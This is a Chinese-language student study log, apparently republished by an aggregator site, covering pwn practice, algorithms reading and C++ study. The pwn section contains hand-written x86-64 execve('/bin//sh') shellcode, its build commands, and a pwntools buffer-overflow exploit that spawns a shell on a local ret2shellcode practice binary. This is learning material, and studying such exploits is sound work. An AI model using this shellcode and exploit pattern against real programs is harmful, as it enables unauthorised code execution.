9-6 (9-1?) 学习打卡(6.15)

Posted 水番正文

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了9-6 (9-1?) 学习打卡(6.15)相关的知识,希望对你有一定的参考价值。

现在 2021.6.15 AM9:06,某校企合作公司(推华为证书)过来疯狂输出压力,虽然懂的都懂,我还是挺好奇班里有些人是怎么想,不过我只好奇这门课到底作业麻不麻烦。--6.15

6.15 TO DO LIST:

一:每日Pwn学习

二:算法导论完成第二章两个算法 浏览第三章

三:CPP 第一章练习 浏览第二章

 

一:每日Pwn学习

今天试了一下64位的手写shellcode

首先vim ~/.gdbinit 改成peda

首先vmmap用vmmap查看段是有可执行权限的

和pwndbg操作都一样就不重复了

然后试pattern create 300

和pwndbg不同是这边是停在这个ret,然后不会跳错误的是哪个返回地址

推测就是栈上前8位

但这边细节的一点就是不用加0x 加0x就会报错

于是获取偏移为40

然后就是自写的shellcode_64

xor rax,rax
add rax,0x3b
xor rdi,rdi
push rdi
mov rdi,0x68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall

以及脚本

nasm -f elf64 -o shellcode_64.o shellcode_64.asm
#生成.o结尾的文件
#ld -m elf_amd64-64 -o shellcode_64_exe shellcode_64.o
#链接成可执行文件
objcopy -O binary shellcode_64.o shellcode_64
#提取可执行代码段,如果没有链接成可执行文件,从.o文件中提取也一样
rm -f shellcode_64.o
rm -f shellcode_64_exe

这边链接不成可执行文件,于是就跳过这一步,好像架构一直有问题搞不对

然后就可以上exp.py !

from pwn import *

p = process("./ret2shellcode_64")

e = ELF("./ret2shellcode_64")

buf2 = e.symbols["buf2"]

offset = 40

payload1 = offset*"P" + p64(buf2)

c = open("./shellcode_64","r")

shellcode = c.read()

payload2 = shellcode.ljust(200,"z")

p.recvuntil(": ")

p.sendline(payload1)

p.recvuntil(": ")

p.sendline(payload2)

p.interactive()

获取权限!

 

二:算法导论

完成阅读,完成算法。

问题就是没想到每次阅读都会掉进去,真希望有足够的时间给我慢慢看,算法还待优化,不过程序和程序员有一个能跑就行了(这次是我跑run)。

 

三:CPP

又是要带回去看的一天

现在十一点三十一,看完了第二章感觉还不错,这次感觉解决了之前的我一些细节,系统学习yyds。

night.

以上是关于9-6 (9-1?) 学习打卡(6.15)的主要内容,如果未能解决你的问题,请参考以下文章

9-6学习打卡(6.22)

9-6 学习打卡 (9.6)

9-6学习打卡(6.14)

9-6(8-5)学习打卡(6.23)

9-6学习打卡(6.21)

9-6(6-2?)学习打卡(6.17)